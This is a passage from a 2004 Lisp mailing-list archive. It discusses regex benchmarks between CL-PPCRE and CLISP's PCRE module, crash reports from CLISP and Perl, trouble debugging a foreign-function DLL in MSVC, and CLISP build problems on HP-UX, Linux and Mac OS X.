  PPCRE wins by a factor of 2534.2
  PPCRE wins by a factor of 20842.4
  PPCRE wins by a factor of 3.6
  PPCRE wins by a factor of 3.8
  PPCRE wins by a factor of 3.9
  PPCRE wins by a factor of 4.0
  PPCRE wins by a factor of 9.5
  PPCRE wins by a factor of 84.5
  PPCRE wins by a factor of 846.4
  PPCRE wins by a factor of 6337.0
  CLISP wins by a factor of 1.3
  CLISP wins by a factor of 1.3
  CLISP wins by a factor of 1.3
  CLISP wins by a factor of 1.2
  CLISP wins by a factor of 2.1
  CLISP wins by a factor of 2.3
  CLISP wins by a factor of 2.3
  CLISP wins by a factor of 2.0
  PPCRE wins by a factor of 3.0
  PPCRE wins by a factor of 3.2
  PPCRE wins by a factor of 3.3
  PPCRE wins by a factor of 3.3
  PPCRE wins by a factor of 1.2
  PPCRE wins by a factor of 1.2
  PPCRE wins by a factor of 1.2
  PPCRE wins by a factor of 1.2
  CLISP wins by a factor of 2.3
  CLISP wins by a factor of 2.6
  CLISP wins by a factor of 2.7
  CLISP wins by a factor of 2.4
  PPCRE wins by a factor of 3.0
  PPCRE wins by a factor of 3.1
  PPCRE wins by a factor of 3.3
  PPCRE wins by a factor of 3.3
  PPCRE wins by a factor of 1.3
  PPCRE wins by a factor of 1.5
  PPCRE wins by a factor of 1.5
  PPCRE wins by a factor of 1.5
  CLISP wins by a factor of 1.9
  CLISP wins by a factor of 1.9
  CLISP wins by a factor of 1.8
  PPCRE wins by a factor of 48.6
  PPCRE wins by a factor of 617.9
  PPCRE wins by a factor of 6168.3
  CLISP wins by a factor of 14.6
  CLISP wins by a factor of 20.1
  CLISP wins by a factor of 21.3
  PPCRE wins by a factor of 1.2
  PPCRE wins by a factor of 1.8
  PPCRE wins by a factor of 1.8
  CLISP wins by a factor of 14.6
  CLISP wins by a factor of 21.3
  CLISP wins by a factor of 21.9
  PPCRE wins by a factor of 1.3
  PPCRE wins by a factor of 1.8
  PPCRE wins by a factor of 1.9
  PPCRE wins by a factor of 1.6
  PPCRE wins by a factor of 2.0
  PPCRE wins by a factor of 2.1
  NIL
  [5]> 


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> * Edi Weitz <rqv@ntunegn.qr> [2004-05-28 01:38:15 +0200]:
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> 2. It has a syntax (the one from Perl) most users will be familiar
>    with.

could you please benchmark it against the CLISP PCRE module?


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On Thu, 27 May 2004 19:52:59 -0400, Sam Steingold <sds@gnu.org> wrote:

> could you please benchmark it against the CLISP PCRE module?

See below. I had to test on Cygwin because the Debian CLISP doesn't
seem to include PCRE. To be fair to CL-PPCRE I'd like to note that the
PCRE module seems pretty useless to me. You can completely kill CLISP
(CLISP silently dies) with various small, legitimate regular
expressions. Here's one example:

  edi@bird:~/lisp/cl-ppcre$ clisp -Kfull
    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
    I I I I I I I      8     8   8           8     8     o  8    8
    I  \ `+' /  I      8         8           8     8        8    8
     \  `-+-'  /       8         8           8      ooooo   8oooo
      `-__|__-'        8         8           8           8  8
          |            8     o   8           8     o     8  8
    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

  Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
  Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
  Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
  Copyright (c) Bruno Haible, Sam Steingold 1999-2000
  Copyright (c) Sam Steingold, Bruno Haible 2001-2004

  ;; Loading file /home/edi/.clisprc ...
  ;; Loaded file /home/edi/.clisprc
  [1]> (pcre:pcre-exec (pcre:pcre-compile "(aa)(.*)") "aaxx")
  edi@bird:~/lisp/cl-ppcre$

You can also kill it with medium-sized target strings:

  edi@bird:~/lisp/cl-ppcre$ clisp -Kfull
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
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Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2004

  ;; Loading file /home/edi/.clisprc ...
  ;; Loaded file /home/edi/.clisprc
  [1]> (defparameter *xxxx* (make-string 10000 :initial-element #\x))
  *XXXX*
  [2]> (pcre:pcre-exec (pcre:pcre-compile "(.)*" :dotall t) *xxxx*)
  edi@bird:~/lisp/cl-ppcre$ 

Hmmm, I'm not impressed... I had to modify the benchmark and remove a
couple of tests to make it work at all. The source code is at
<http://miles.agharta.de/bench2.lisp>. Here are the results:

  edi@bird:~/lisp/cl-ppcre$ uname -a
  CYGWIN_NT-5.1 bird 1.5.10(0.116/4/2) 2004-05-25 22:07 i686 unknown unknown Cygwin
  edi@bird:~/lisp/cl-ppcre$ clisp -Kfull
    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
    I I I I I I I      8     8   8           8     8     o  8    8
    I  \ `+' /  I      8         8           8     8        8    8
     \  `-+-'  /       8         8           8      ooooo   8oooo
      `-__|__-'        8         8           8           8  8
          |            8     o   8           8     o     8  8
    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

  Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
  Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
  Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
  Copyright (c) Bruno Haible, Sam Steingold 1999-2000
  Copyright (c) Sam Steingold, Bruno Haible 2001-2004

  ;; Loading file /home/edi/.clisprc ...
  ;; Loaded file /home/edi/.clisprc
  [1]> (lisp-implementation-version) 
  "2.33 (2004-03-17) (built on winsteingoldlap [10.0.19.22])"
  [2]> (load "load.lisp")
  ;; Loading file load.lisp ...
  ;;  Loading file /home/edi/lisp/cl-ppcre/packages.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/packages.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/specials.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/specials.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/util.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/util.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/errors.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/errors.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/lexer.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/lexer.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/parser.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/parser.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/regex-class.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/regex-class.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/convert.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/convert.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/optimize.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/optimize.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/closures.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/closures.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/repetition-closures.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/repetition-closures.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/scanner.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/scanner.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/api.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/api.fas
  ;;  Loading file /home/edi/lisp/cl-ppcre/ppcre-tests.fas ...
  ;;  Loaded file /home/edi/lisp/cl-ppcre/ppcre-tests.fas
  ;; Loaded file load.lisp
  T
  [3]> (load (compile-file "bench2.lisp"))

  Compiling file /home/edi/lisp/cl-ppcre/bench2.lisp ...

  Wrote file /home/edi/lisp/cl-ppcre/bench2.fas
  0 errors, 0 warnings
  ;; Loading file /home/edi/lisp/cl-ppcre/bench2.fas ...
  ;; Loaded file /home/edi/lisp/cl-ppcre/bench2.fas
  T
  [4]> (test)
  CL-PPCRE wins by a factor of 2.8
  CL-PPCRE wins by a factor of 44.0
  PCRE wins by a factor of 2.4
  PCRE wins by a factor of 1.3
  PCRE wins by a factor of 1.3
  CL-PPCRE wins by a factor of 3.0
  PCRE wins by a factor of 12.0
  PCRE wins by a factor of 22.3
  PCRE wins by a factor of 14.2
  PCRE wins by a factor of 23.8
  PCRE wins by a factor of 2.5
  PCRE wins by a factor of 1.8
  PCRE wins by a factor of 7.2
  PCRE wins by a factor of 5.4
  PCRE wins by a factor of 12.3
  PCRE wins by a factor of 18.9
  PCRE wins by a factor of 2.3
  PCRE wins by a factor of 1.2
  PCRE wins by a factor of 15.8
  PCRE wins by a factor of 24.9
  PCRE wins by a factor of 13.5
  CL-PPCRE wins by a factor of 1.6
  PCRE wins by a factor of 12.0
  PCRE wins by a factor of 8.9
  PCRE wins by a factor of 12.5
  PCRE wins by a factor of 11.0
  PCRE wins by a factor of 1.4
  CL-PPCRE wins by a factor of 1.1
  NIL

HTH,
Edi.



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Edi,
This is very suspicious.
The fact that you outperform them by a factor of 10-100 means that
Either they do something very stupid or you do something real smart or
something very wrong (they cannot so something wrong because what they
do is right by definition :-).
I think you need to investigate what is going on further.
Can you describe what regexes you handle so exceptionally well?

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On Thu, 27 May 2004 21:36:27 -0400, Sam Steingold <sds@gnu.org> wrote:

> This is very suspicious.

I think it's more suspicious that both PCRE and REGEXP are able to
kill my Lisp...

> The fact that you outperform them by a factor of 10-100 means that
> Either they do something very stupid or you do something real smart
> or something very wrong

I'm pretty sure that CL-PPCRE basically works right (although there
certainly are bugs like in almost any program). CL-PPCRE is used in
"The Regex Coach"[1] which has been downloaded more than 80,000 times
in the last year. That's a rather large number of testers, isn't it?

> (they cannot so something wrong because what they do is right by
> definition :-).

Who is they and why are they right by definition? Which definition?
CL-PPCRE purports to be compatible with Perl, so the defining instance
for my library is Perl. Unfortunately, Perl itself has a couple of
bugs: <http://weitz.de/cl-ppcre/#bug>. Or try this:

  edi@bird:~$ perl -v

  This is perl, v5.8.3 built for i386-linux-thread-multi

  Copyright 1987-2003, Larry Wall

  Perl may be copied only under the terms of either the Artistic License or=
 the
  GNU General Public License, which may be found in the Perl 5 source kit.

  Complete documentation for Perl, including FAQ lists, should be found on
  this system using `man perl' or `perldoc perl'.  If you have access to the
  Internet, point your browser at http://www.perl.com/, the Perl Home Page.

  edi@bird:~$ perl -lwe '$_=3D"a" x 3000 . "b"; /(a|)*/; print $1'

  edi@bird:~$ perl -lwe '$_=3D"a" x 30000 . "b"; /(a|)*/; print $1'
  Segmentation fault

> I think you need to investigate what is going on further.

I don't think so.

> Can you describe what regexes you handle so exceptionally well?

CL-PPCRE makes a couple of semi-smart decisions:

1. It can optimize the scan progress for anchored regular expressions
   and for regular expressions which basically say "don't test, just
   skip", like /.*/s. I think Perl and PCRE do similar things. Their C
   code is too complicated for me to understand it... :)

2. It employes Boyer-Moore-Horspool searching for constant parts of
   the regex. Again, I think Perl does the same. Don't know about
   PCRE.

3. It rewrites certain classes of regular expressions to avoid
   unnecessary capturing of register groups, something like this:

     (a)* -> (?:a*(a))?

   I think this is the biggest win compared to "na=EFve" engines like
   REGEXP. (Don't know if Perl does that. From the speed they're able
   to achieve I /guess/ they do something similar.)

Cheers,
Edi.

[1] <http://weitz.de/regex-coach/>


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I finally-after a lot of trial and error-got your clisp working on my 
Mac OS X 10.2.8. I am sorry for being a pain in the ass in the past and 
am also sorry for sending the semi-rude email I sent on May 24th. I was 
just impatient and frustrated at the time. I just finished putting 
together the computer science section of my web site for now.  I have 
the binary posted on it. Would you be interested in linking to it or 
downloading it from the site and putting it on the source forge page? 
Please let me know. The URL for my computer science page is 
http://sam.jovi.net/Computer_Science3.html   and the clisp section is 
at the bottom.

thanks, Sam



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> * Sam P <fnz@wbiv.arg> [2004-06-01 01:20:22 -0400]:
>
> I finally-after a lot of trial and error-got your clisp working on my
> Mac OS X 10.2.8.

good!

> Would you be interested in linking to it or downloading it from the
> site and putting it on the source forge page?  Please let me know. The
> URL for my computer science page is
> http://sam.jovi.net/Computer_Science3.html and the clisp section is at
> the bottom.

the way to create a binary distribution is to do
$ make distrib
in the build directory.
please make the resulting clisp-....-macos-.....tar.gz
available for download.

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I wrote a (c++) DLL using msvc 6.0. So far clisp 'call-outs' and =
'call-ins' work fine.

Now - since things get more complex - I'd like to be able to debug my =
DLL using msvc debugger. This is normally no problem, but when I try to =
start debugging the clisp process I run into an=20

access violation=20

exception. I can't start clisp (lisp.exe -M lispinit.mem ...) from =
within the debugger. If I don't specify the image, I don't run into any =
access violation (but obviously I can't work/debug :-)).

Any hints/help/alternatives are greatly appreciated.

Why does the debugger sense access violation while the program run =
standalone works fine?



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> I wrote a (c++) DLL using msvc 6.0. So far clisp 'call-outs' and 'call-ins' work fine.
> Now - since things get more complex - I'd like to be able to debug my DLL using msvc debugger. This is normally no problem, but when I try to start debugging the clisp process I run into an
> access violation
> exception. I can't start clisp (lisp.exe -M lispinit.mem ...) from within the debugger. If I don't specify the image, I don't run into any access violation (but obviously I can't work/debug :-)).
> Any hints/help/alternatives are greatly appreciated.
> Why does the debugger sense access violation while the program run standalone works fine?

Indeed. Never noticed that before.
BTW, what OS do you using ?
I see no easy solution. There's debug Makefile for MSVC 6.0, but
sources are not in MSVC compileable state. Debug version runs pretty
well in debugger on my computer. Nondebug is not, whether it's cygwin
or MSVC built.

-- 
Best regards,
 Arseny    




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An: Andreas Thiele
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Betreff: Re: [clisp-list] Debugging clisp FFI calls into a newly created
(c++) DLL



> I wrote a (c++) DLL using msvc 6.0. So far clisp 'call-outs' and
'call-ins' work fine.
> Now - since things get more complex - I'd like to be able to debug my DLL
using msvc debugger. This is normally no problem, but when I try to start
debugging the clisp process I run into an
> access violation
> exception. I can't start clisp (lisp.exe -M lispinit.mem ...) from within
the debugger. If I don't specify the image, I don't run into any access
violation (but obviously I can't work/debug :-)).
> Any hints/help/alternatives are greatly appreciated.
> Why does the debugger sense access violation while the program run
standalone works fine?

Indeed. Never noticed that before.
BTW, what OS do you using ?
I see no easy solution. There's debug Makefile for MSVC 6.0, but
sources are not in MSVC compileable state. Debug version runs pretty
well in debugger on my computer. Nondebug is not, whether it's cygwin
or MSVC built.

--
Best regards,
 Arseny

Thanks for your help. I tried the debug makefile. No success. Did I get you
right, there is a debug version of clisp? I don't want to debug clisp, just
the calls into and inside my DLL. I am no c++ expert, but I think I have to
attach to the clisp process or load clisp in the debugger. With another app,
this worked fine. I used WinXP, I'll try W2K. But a debug version clisp
would be helpful. Didn't find it yet. Can I? I use clisp 2.32 at the moment.
Thanks



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> Thanks for your help. I tried the debug makefile. No success. Did I get you
Have you built clisp with debug makefile ?
Current sources need some patching for this.

> right, there is a debug version of clisp? I don't want to debug clisp, just
> the calls into and inside my DLL. I am no c++ expert, but I think I have to
> attach to the clisp process or load clisp in the debugger. With another app,
> this worked fine. I used WinXP, I'll try W2K. But a debug version clisp
> would be helpful. Didn't find it yet. Can I? I use clisp 2.32 at the moment.
There is MSVC makefile for debugging (win32msvc/makefile.msvc5d).
Debug versions of clisp are not distributed of course.
The version I've built 6 months ago doesn't crash like others.
Moreother, the one I've just built with cygwin/mingw/with-debug
doesn't crash either. I have no experience with debugging of FFI
programs. Don't know whether source-level debugging is possible in
this case.

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On Thu, May 27, 2004 at 02:01:17PM -0400, Sam Steingold wrote:
> Chris,
> it just occurred to me that you are parsing an XML file: maybe you
> would prefer to use a full parser instead of searching for a specific
> element?
> CLOCC/CLLIB/xml.lisp will parse the whole XML file for you.
> There are other CL XML parsers available, check out cliki.

Thanks, and wow! that parser looks pretty complete!  Even has
namespace support, if I read it correctly.

I think we might need to use it soon, but for this particular task,
the regexp is probably much the better solution.  I don't know how
many people use regexps for 'consuming' XML, but for many purposes
I've found them to be much easier and light-weight than using a SAX
parser.

Sorry I took so long to respond, but I'm getting ready to move living
quarters and I've been spending all my spare time hand-crafting a
Debian install on a very old (6 years or so) Toshiba laptop w/32MB RAM
and 1GB disk as a fairly complete development and 'Emacs support'
environment. ;-D

The more I use Debian, the more impressed I am with it, and clisp fits
right in, since it requires only about ~2-3MB ram to load.

Clisp 2.33 with regexp, postgresql and bindings/glibc has built
successfully; 'make check' is running as I write this.  FWIW, I'm
using the Debian kernel 2.4bf (or is it bf2.4?) this time - it has the
PCMCIA-support in the kernel, I think.

Thanks again, Sam,
+Chris


P.S.  Debian note: If one uses the text-mode browser w3m to browse
http://packages.debian.org and download a package, w3m will display
the package info and ask if you'd like to install the package.  Even
if one is not running as 'root', it gives one a chance to 'sudo' or
equivalent.  And it works!  Woot!  I imagine other browsers might
support this as well, but this is certainly the first I'd heard of it.
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>... doesn't crash either. I have no experience with debugging of FFI
>programs. Don't know whether source-level debugging is possible in
>this case.

Thanks again,

Your answer is helpfull for me, although I think I am facing the tough way.
I will try the cygwin approach.

I'll also try to explain what I am doing a little more precise because I
believe everbody who tries to write a DLL using visual studio will run into
this problem case.

I wrote a DLL which will be called via FFI. Thus the DLL is visible from
within the clisp process and must be debugged in this context (at least I
think so ;-)). I also wrote FFI calls from the (outdated ?) Gold Hill Lisp.
Now I don't have the Gold Hill sources and I even don't need them. I am
using microsoft visual studio 6.0 (c++ SP4, on WinXP SP1) and only have my
DLL source on screen. I set a break point in my DLL and tell the debugger to
start Gold Hill Lisp. After loading my lisp program, when lisp trys to call
my DLL via FFI the break point is invoked and I can debug/step through my
code within visual studio.

So in this case, I don't want debug clisp - just my DLL. But something is
special about clisp. When I tell the ms debugger to start clisp, clisp
crashes with an access violation even before I loaded my lisp program. (I
think this could be caused by the way clisp is compiled and linked, but I
have no real clue on this.)

Does anybody have a hint or solution? May be there is an easy way to debug
using cygwin?

Thanks.



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I tried to debug one of my Fortran DLLs and ran into the exact same
situation. I use Compaq Visual Fortran within Developer Studio. There is
something about CLISP that the Developer Studio debugger doesn't like.

> So in this case, I don't want debug clisp - just my DLL. But something is
> special about clisp. When I tell the ms debugger to start clisp, clisp
> crashes with an access violation even before I loaded my lisp program. (I
> think this could be caused by the way clisp is compiled and linked, but I
> have no real clue on this.)
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>I tried to debug one of my Fortran DLLs and ran into the exact same
>situation. I use Compaq Visual Fortran within Developer Studio. There is
>something about CLISP that the Developer Studio debugger doesn't like.

Yes, I noticed :-)

Maybe we should post this to some c++ group.
I thought it might be of interest for other clispers.

(Meanwhile I do 'Message Box Debugging' :-)))





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> * Larry Elmore <ywryzber@pbzpnfg.arg> [2004-06-01 18:30:49 -0500]:
>
> Has anybody gotten clisp running on Gentoo AMD64 Linux? Or is this
> something that still needs to be compiled and run in 32-bit mode?

something like this:

$ CC='gcc -m64' ./configure --build build-64

should get you a 64-bit CLISP in build-64/ directory.

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Has anyone been successful in compliling Clips on HP-UX 11.11?  

I have tried to compile it again with the latest version clisp-2.33.2 with the same results.  It will do a core dump when it tries to run the lisp.run command.

Any other ideas what I might try?



Thanks for any help,


Art Nuzzo


> From: Nuzzo Art-CINT116 <A.Nuzzo@motorola.com>
> To: "'clisp-list@lists.sourceforge.net'"
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> Date: Mon, 24 May 2004 13:31:28 -0500
> Subject: [clisp-list] RE: Problem compiling on hp-ux 11.11
> 
> Sure, no problem.  Here it is.
> 
> 
> artn@bs713> gcc -o malloc unix/malloc.c
> unix/malloc.c: In function `printf_address':
> unix/malloc.c:13: warning: right shift count >= width of type
> artn@bs713> for x in 1000000 100000 10000 1000; do ./malloc $x; done
> malloc(1000000) = #x40003158
> &main = #x400010A2
> malloc(100000) = #x40003158
> &main = #x400010A2
> malloc(10000) = #x40003158
> &main = #x400010A2
> malloc(1000) = #x40003158
> &main = #x400010A2
> artn@bs713> rm -f malloc
> 
> > -----Original Message-----
> > From: Sam Steingold [mailto:sds@gnu.org] 
> > Sent: Monday, May 24, 2004 1:11 PM
> > To: clisp-list@lists.sourceforge.net; Nuzzo Art-CINT116
> > Cc: Bruno Haible
> > Subject: Re: Problem compiling on hp-ux 11.11
> > 
> > 
> > Thanks a lot!
> > could you please aso do
> > $ gcc -o malloc unix/malloc.c
> > $ for x in 1000000 100000 10000 1000; do ./malloc $x; done
> > $ rm -f malloc
> > 
> > thanks!
> > 
> > > * Nuzzo Art-CINT116 <N.Ahmmb@zbgbebyn.pbz> [2004-05-24 12:41:32 
> > > -0500]:
> > >
> > > If I do the ./configure --prefix=/users/artn --build 
> > build-O it does a 
> > > core dump when it tries to run ./lisp.run
> > >
> > >
> > > chmod +w config.lisp
> > > echo '(setq *clhs-root-default* 
> > "http://www.lisp.org/HyperSpec/")' >> 
> > > config.lisp ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 
> > -norc -m 750KW -x "(and (load \"init.lisp\") 
> > (sys::%saveinitmem) (ext::exit))"
> > > make: *** [interpreted.mem] Bus error (core dumped)         
> >                                                  
> > >
> > > Here is the backtrace:
> > >
> > > artn@bs713> gdb
> > > GNU gdb 5.3
> > > Copyright 2002 Free Software Foundation, Inc.
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> > License, and 
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> > > certain conditions. Type "show copying" to see the 
> > conditions. There 
> > > is absolutely no warranty for GDB.  Type "show warranty" 
> > for details. 
> > > This GDB was configured as "hppa2.0w-hp-hpux11.11". 
> Breakpoint 1 at 
> > > 0x3a30c Breakpoint 2 at 0x38d24
> > > Breakpoint 3 at 0x37028
> > > Breakpoint 4 at 0x3b62c
> > > Breakpoint 5 at 0x28df0
> > > .gdbinit:116: Error in sourced command file:
> > > No symbol "back_trace" in current context.
> > > (gdb) run ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 
> > -norc -m 750KW -x "(and (load \"init.lisp\") 
> > (sys::%saveinitmem) (ext::exit))"
> > > Starting program: /users/artn/clisp-2.33/build-O/lisp.run 
> > ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW 
> > -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))"
> > >
> > > Program received signal SIGSEGV, Segmentation fault. 
> 0x00026fb4 in 
> > > gar_col_normal ()
> > > (gdb) bt
> > > #0  0x00026fb4 in gar_col_normal ()
> > > #1  0x00028d1c in do_gar_col_simple ()
> > > #2  0x000bfeec in with_gc_statistics ()
> > > #3  0x00028d80 in gar_col_simple ()
> > > #4  0x00028fc0 in make_space_gc ()
> > > #5  0x000293c8 in allocate_vector ()
> > > #6  0x0002c11c in init_subr_tab_2 ()
> > > #7  0x0002df60 in initmem ()
> > > #8  0x0002f608 in main ()
> > > #9  0x7af36440 in _start () from /usr/lib/libc.2
> > > (gdb)
> > >
> > >
> > >
> > > I also tried with the Makefile modified with -O1, -O0, and the 
> > > combination -O0 with -DNO_GENERATIONAL_GC added to the 
> > CFLAGS. In all 
> > > cases the compile coredumped at the same loction. A make 
> clean was 
> > > done between each make.
> > >
> > 
> > -- 
> > Sam Steingold (http://www.podval.org/~sds) running w2k 
> <http://www.camera.org> <http://www.iris.org.il> 
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Hi,
Andreas Thiele wrote:
>Why does the debugger sense access violation while the program run
>standalone works fine?

I have no idea, I never used the MS-VC debugger and about to leave for =
a month, but if running without an image really works, then you could =
proceed as follows:
lisp.run
(load"init.fas") ; loads all of what would be in an image
(load "myapp")

This presupposes that you build the clisp sources. (load"init.lisp") =
without .fas is *not* recommended.

On UNIX, CLISP uses some signals, which annoys interaction with gdb. =
Thus there's the .gdbrc file which silences the messages. Maybe there's =
something equivalent for MS-VC? I just don't know.

Regards,
 J=C3=B6rg H=C3=B6hle.


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I can't get clisp to compile on my Linux box (RedHat 9). The error is:

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  -fomit-frame-pointer
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -c misc.c
misc.d: In function `C_module_info':
misc.d:591: structure has no member named `foreign_libraries'
misc.d:591: warning: left-hand operand of comma expression has no effect
make: *** [misc.o] Error 1

I don't know if the full compiler output would be useful, I haven't included
it as it's rather long.

In anyone has any suggestions, then they would be much appreciated.

thanks,
Dan


 



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> ... (load"init.fas") ; loads all of what would be in an image ...
Thanks a lot. This brought me much ahead. Indeed it is strange. At least =
on WinXP you can't start lisp.exe without an image specified. You'll =
obtain a message

module `syscalls' requires package POSIX.

and clisp quits. When starting from within the debugger you get

WARNING: No initialization file specified.
Please try: C:\clisp\base\lisp.exe -M lispinit.mem

and are confronted to a prompt. After typing (load "init.lisp") the =
access violation occurs when loading defs1.lisp. Thus I could narrow the =
problematic range. I'm sure I will isolate the problem and continue =
reporting ...

Thanks
Vielen Dank



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please upgrade to clisp 2.33.2
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> * Brian Mastenbrook <oznfgrao@pf.vaqvnan.rqh> [2004-06-03 12:42:31 -0500]:
>
> On Tue, 25 May 2004, Sam Steingold wrote:
>
>> what is "fd-handler"?
>>
>> SOCKET-STATUS appears to be quite sufficient for my server needs.
>> <http://clisp.cons.org/impnotes/socket.html#so-status>
>
> Thanks Sam; SOCKET-STATUS looks like what I was looking for. CMUCL and
> SBCL have an integrated select() loop for the REPL too so that server
> applications don't block the REPL, which is what I was referring to.

I am not sure how to implement this without MT: when a character is
available on STDIN, READ is called, which will then block until the
form is finished.

Note that SOCKET-STATUS works with KEYBOARD-STREAMs (and
TERMINAL-STREAMs too), so you can emulate this yourself.

> when buffering was turned on, araneida never saw the
> requests until after the client closed the connection.

FORCE-OUTPUT is necessary to flush the buffers.

> When it was off, it seemed that the connection was getting closed too
> soon? wget complained about a read error being caused by "connection
> reset by peer". For some reason adding a call to socket:socket-status
> on the client stream before closing fixed this.

maybe SOCKET-SHUTDOWN is what you are looking for?

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I have a clisp-2.33.2-ppc-powerpc-darwin-7.4.0.tar.gz build made. I am 
quite willing to share it, however, I have nowhere available to host 
it. I can upload (or even email) it, if someone is willing to take it 
that way and put it on the Sourceforge site. Let me know.



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> * Ray Kohler <ngnenkvn@pbk.arg> [2004-06-03 19:45:58 -0400]:
>
> I have a clisp-2.33.2-ppc-powerpc-darwin-7.4.0.tar.gz build made. I am
> quite willing to share it, however, I have nowhere available to host
> it. I can upload (or even email) it, if someone is willing to take it
> that way and put it on the Sourceforge site. Let me know.

please upload it to upload.sourceforge.net:/incoming
please send me a note as soon as you are done.
thanks!

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> * Don Cohen <qba-fbheprsbetrkk@vfvf.pf3-vap.pbz> [2004-06-04 08:51:06 -0700]:
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> [not to list]
you did CC to <lispweb>!
>  > I am not sure how to implement this without MT: when a character is
>  > available on STDIN, READ is called, which will then block until the
>  > form is finished.
> Of course you can't just call read if you don't want to block.
> What you can do is collect input into a string and whenever new
> input arrives do read from string to find out whether you have
> enough input.

CLISP uses readline for input.
One has to run it in a separate (C) thread.
Patches are welcome.

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I've been working with CLISP for a year or so now, and have very much 
enjoyed it. Just recently I have had a use for the REGEXP module, and 
so I compiled it into CLISP. However, the first expression I tried to 
evaluate segfaulted. Following are the details.

I work on a PPC Powerbook G4, 640 MB RAM.

I ran clisp -K full, and evaluated

[1]> (regexp:match "." "aoeu")
Segmentation fault

I built CLISP (as per the FAQ) with ./configure --prefix=/sw 
--with-module=regexp --with-debug --build build-g, but, when I ran 
./build-g/clisp through gdb, and typed "run", I got a SIGTRAP:

[Taggart.local ~/Download/clisp-2.33.2] gdb ./build-g/clisp
GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 
2003)
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details.
This GDB was configured as "powerpc-apple-darwin".
Reading symbols for shared libraries ...... done
(gdb) run
Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/clisp
Reading symbols for shared libraries +. done

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8fe1a4f4 in __dyld__dyld_start ()
(gdb)

Maybe I just don't know how to use gdb (I have only used it once or 
twice).


Below is the output of all the relevant info I can think of.

* Commands to build CLISP:

./configure --prefix=/sw --with-module=regexp

I chose that prefix because I use Fink.

* uname -a:

Darwin Taggart.local 7.4.0 Darwin Kernel Version 7.4.0: Wed May 12 
16:58:24 PDT 2004; root:xnu/xnu-517.7.7.obj~7/RELEASE_PPC  Power 
Macintosh powerpc

* gcc --version:

gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1640)
Copyright (C) 2002 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is 
NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR 
PURPOSE.

* clisp -K full --version:

GNU CLISP 2.33.2 (2004-06-02) (built 3295613759) (memory 3295614633)
Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1640) ANSI C 
program
Features:
(REGEXP CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
  SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE
  BASE-CHAR=CHARACTER UNIX)
Installation directory: /sw/lib/clisp/
User language: ENGLISH
Machine: POWER MACINTOSH (POWER MACINTOSH) taggart.local 
[192.168.10.252]

* Crash report from OS X:

Date/Time:      2004-06-07 12:31:54 -0400
OS Version:     10.3.4 (Build 7H63)
Report Version: 2

Command: lisp.run
Path:    /sw/lib/clisp/full/lisp.run
Version: ??? (???)
PID:     18613
Thread:  0

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_INVALID_ADDRESS (0x0001) at 0x77ffd770

Thread 0 Crashed:
0   lisp.run 	0x00002c04 C_subr_regexp_regexp_exec + 0x2b4 (crt.c:300)
1   lisp.run 	0x0001c280 funcall_subr + 0x904 (crt.c:300)
2   lisp.run 	0x0001f2fc interpret_bytecode_ + 0x25ac (crt.c:300)
3   lisp.run 	0x00018b30 eval_closure + 0x1038 (crt.c:300)
